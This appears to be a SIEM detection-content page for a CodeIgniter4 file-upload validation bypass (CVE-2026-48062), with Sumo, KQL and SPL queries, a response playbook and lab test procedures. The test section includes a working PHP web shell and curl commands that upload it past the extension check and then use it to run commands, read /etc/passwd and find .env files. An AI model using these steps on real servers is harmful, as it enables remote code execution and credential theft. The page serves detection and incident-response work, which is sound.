CVE-2026-48062 Sumo Logic CSE · Sumo

Detect CVE-2026-48062: CodeIgniter4 File Upload Extension Validation Bypass (ext_in Rule) in Sumo Logic CSE

CVE-2026-48062 affects CodeIgniter4 framework versions prior to 4.7.2. The `ext_in` validation rule fails to properly validate file extensions during upload, allowing attackers to bypass extension restrictions and upload arbitrary files including web shells or malicious executables. This unrestricted file upload vulnerability (CWE-434) has a CVSS score of 9.8 and a public proof-of-concept. Successful exploitation can lead to remote code execution on the hosting server.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=web/access OR _sourceCategory=linux/syslog
| parse regex "(?<src_ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}) .* \"(?<method>POST|PUT) (?<uri>[^\"]+)\" (?<status>\d{3})"
| where method in ("POST", "PUT")
| where uri matches "*upload*" or uri matches "*writable*" or uri matches "*public*"
| where uri matches "*.php" or uri matches "*.phtml" or uri matches "*.phar" or uri matches "*.php5" or uri matches "*.php7" or uri matches "*.shtml"
| where status in ("200", "201", "204")
| timeslice 1h
| count by _timeslice, src_ip, uri, status
| order by _count desc
critical severity medium confidence

Sumo Logic query correlating successful (2xx) HTTP POST/PUT requests uploading PHP-family script files to web upload directories, filtering for confirmed successful uploads that may indicate CodeIgniter4 ext_in exploitation.

Data Sources

Web server access logsApplication logsLinux syslog

Required Tables

web/accesslinux/syslog

False Positives & Tuning

  • Legitimate CMS platforms that allow PHP plugin uploads through authenticated admin interfaces
  • Automated deployment tools with service accounts uploading application files
  • Development environments where PHP files are routinely uploaded for testing
  • CDN or proxy log forwarding creating duplicate entries with POST methods

Other platforms for CVE-2026-48062

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate CodeIgniter4 ext_in Bypass via Crafted Multipart Upload

    Expected signal: HTTP POST to upload endpoint with Content-Type image/jpeg but .php file extension; file creation event in upload directory for a .php file; web server process as the initiating process for the file write

  2. Test 2Web Shell Execution Verification After Upload

    Expected signal: HTTP GET requests to PHP file path in upload directory; process tree showing web server (apache2/nginx/php-fpm) spawning shell or system binaries (id, whoami, uname); network connections to external IP if reverse shell payload used

  3. Test 3Filesystem Reconnaissance via Uploaded Web Shell

    Expected signal: Process events for cat, ls, find spawned by php-fpm or apache2 with web server UID; file read events on /etc/passwd and .env files initiated by web server process; auditd SYSCALL records for execve by www-data user

Last updated: 2026-06-26 Research depth: standard
References (6)

Response Playbook

Triage

  1. Identify the web server hosting the CodeIgniter4 application and query web access logs for POST/PUT requests to upload endpoints with PHP-family file extensions within the past 72 hours.
  2. Confirm the CodeIgniter4 framework version via `composer show codeigniter4/framework` or by inspecting `system/CodeIgniter.php` — versions below 4.7.2 are vulnerable.
  3. Review the uploaded file list in the application's configured upload directory (typically `writable/uploads/`) for any unexpected PHP, PHTML, or PHAR files using `find /var/www -name '*.php' -newer /var/www/index.php -path '*/uploads/*'`.
  4. Check web server access logs for HTTP 200 responses to requests targeting any uploaded PHP file path, which would indicate successful web shell execution rather than merely a successful upload.

Containment

  1. Immediately remove or rename any discovered PHP/script files from upload directories and block direct HTTP access to upload paths via web server configuration (e.g., add `location ~* /uploads/.*\.php { deny all; }` to Nginx or equivalent Apache deny rules).
  2. Apply emergency WAF rules blocking POST/PUT requests with PHP-family extensions in upload directory paths, and consider taking the application offline until the framework is patched to 4.7.2 or later.

Evidence Collection

  1. Capture a forensic copy of the web server access log, error log, and the upload directory file listing with timestamps (`ls -laR writable/uploads/`) before any remediation to preserve evidence of exploitation timing and source IPs.
  2. Collect memory dump or process listing from the web server process to detect any active web shell sessions or spawned child processes, and capture network connection state (`ss -tnp` or `netstat -tnp`) to identify active reverse shell connections.

Escalation Criteria

  • !Escalate immediately to incident response if any uploaded PHP file has been accessed (HTTP 200 response in logs) or if outbound connections from the web server process to external IPs are detected, indicating active post-exploitation.
  • !Escalate if lateral movement indicators are present, such as credential access attempts, internal network scanning from the web server host, or new user account creation on the system.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Web server access logs showing POST requests to upload endpoints with .php extensions and HTTP 200 response codes
  • >File system entries in writable/uploads/ or configured upload paths with PHP-family extensions and recent modification timestamps
  • >Web server error logs showing PHP execution errors from attacker-uploaded scripts
  • >Bash history or auditd records showing commands run under the web server user (www-data, apache, nginx) account

Tuning Guidance

Reduce false positives by baselining legitimate upload directory paths and file types for each web application. Exclude known CI/CD service account SIDs or usernames from file creation alerts. For web access log detections, filter to HTTP 200/201 responses only and exclude known developer source IP ranges. Consider adding application-layer context by correlating with CodeIgniter4 session logs to distinguish authenticated admin uploads from anonymous exploitation attempts. Adjust severity downward to HIGH (from CRITICAL) for environments that have already patched to 4.7.2 but retain the rule for detection of exploitation attempts against the patched surface.

Hunting Queries

Threat hunt for PHP-family script files created by web server processes in upload directories over the past 30 days, to identify any historical exploitation of CodeIgniter4 ext_in bypass before detection rules were in place.

Hunting — KQL
kql 
DeviceFileEvents
| where TimeGenerated > ago(30d)
| where FolderPath has_any ("uploads", "writable", "public")
| where FileName has_any (".php", ".phtml", ".phar", ".php5", ".php7")
| where InitiatingProcessFileName has_any ("php", "php-fpm", "httpd", "apache2", "nginx")
| summarize FileCount=count(), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by DeviceName, FileName, FolderPath, InitiatingProcessFileName
| order by LastSeen desc
Hunting — SPL
spl 
index=os sourcetype="auditd" key=SYSCALL syscall IN (open, creat, openat) success=yes
| eval suspicious=if(match(name, "(?i)\.(php[0-9]?|phtml|phar|shtml|pht)$") AND match(name, "(?i)(upload|writable|public)"), 1, 0)
| where suspicious=1
| stats count by host, name, uid, exe, _time
| sort -_time

Atomic Red Team Tests

Test 1 Simulate CodeIgniter4 ext_in Bypass via Crafted Multipart Upload
linux

Simulate an attacker bypassing the ext_in validation rule by uploading a PHP web shell with a manipulated Content-Type or double extension to a CodeIgniter4 upload endpoint. This tests whether the application accepts the file and whether endpoint detection fires.

Command

bash 
curl -s -X POST http://localhost:8080/upload \
  -F 'userfile=@/tmp/test_shell.php;type=image/jpeg' \
  -F 'filename=shell.jpg.php' \
  -H 'User-Agent: Mozilla/5.0 (Test)' \
  -w "\nHTTP Status: %{http_code}\n" 
# Create test payload first:
echo '<?php echo "CVE-2026-48062-test: ".phpversion(); ?>' > /tmp/test_shell.php

Cleanup

bash 
rm -f /tmp/test_shell.php && curl -s -X DELETE http://localhost:8080/admin/uploads/shell.jpg.php || true

Expected Telemetry

HTTP POST to upload endpoint with Content-Type image/jpeg but .php file extension; file creation event in upload directory for a .php file; web server process as the initiating process for the file write

Expected Detection

Alert on file with .php extension created in upload/writable directory by web server process; web access log alert on POST to upload path resulting in HTTP 200 with .php in the URI

Test 2 Web Shell Execution Verification After Upload
linux

After successfully uploading a PHP web shell via the ext_in bypass, simulate attacker executing commands through the web shell to verify RCE and trigger process-execution based detections.

Command

bash 
# Assumes shell was uploaded to /var/www/html/writable/uploads/shell.php
curl -s 'http://localhost:8080/writable/uploads/shell.php?cmd=id' 
curl -s 'http://localhost:8080/writable/uploads/shell.php?cmd=whoami'
curl -s 'http://localhost:8080/writable/uploads/shell.php?cmd=uname+-a'

Cleanup

bash 
rm -f /var/www/html/writable/uploads/shell.php

Expected Telemetry

HTTP GET requests to PHP file path in upload directory; process tree showing web server (apache2/nginx/php-fpm) spawning shell or system binaries (id, whoami, uname); network connections to external IP if reverse shell payload used

Expected Detection

Process execution alert for system utility spawned by web server parent process; EQL sequence rule firing for file creation followed by web-server-spawned process execution; EDR alert on command injection via web shell

Test 3 Filesystem Reconnaissance via Uploaded Web Shell
linux

Simulate attacker performing post-exploitation filesystem reconnaissance using an uploaded PHP web shell to enumerate server files, users, and configuration, testing detection of lateral discovery activity originating from the web server process.

Command

bash 
# Create a reconnaissance payload (lab environment only)
cat > /tmp/recon_shell.php << 'EOF'
<?php
  $cmd = $_GET['c'] ?? 'id';
  echo '<pre>'.shell_exec(escapeshellcmd($cmd)).'</pre>';
EOF
# Simulate upload
cp /tmp/recon_shell.php /var/www/html/writable/uploads/recon.php
# Simulate attacker commands via web shell
curl -s 'http://localhost:8080/writable/uploads/recon.php?c=cat+/etc/passwd'
curl -s 'http://localhost:8080/writable/uploads/recon.php?c=ls+-la+/var/www/'
curl -s 'http://localhost:8080/writable/uploads/recon.php?c=find+/var/www+-name+.env+2>/dev/null'

Cleanup

bash 
rm -f /tmp/recon_shell.php /var/www/html/writable/uploads/recon.php

Expected Telemetry

Process events for cat, ls, find spawned by php-fpm or apache2 with web server UID; file read events on /etc/passwd and .env files initiated by web server process; auditd SYSCALL records for execve by www-data user

Expected Detection

Alert on sensitive file access (/etc/passwd, .env) by web server process; SIEM correlation rule firing on discovery commands executed under web server account; EDR behavioral detection on credential access from php process lineage

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003Persistence

Related Techniques

T1190Exploit Public-Facing ApplicationT1505.003Web ShellT1059.004Unix Shell

Same Tactic: Initial Access

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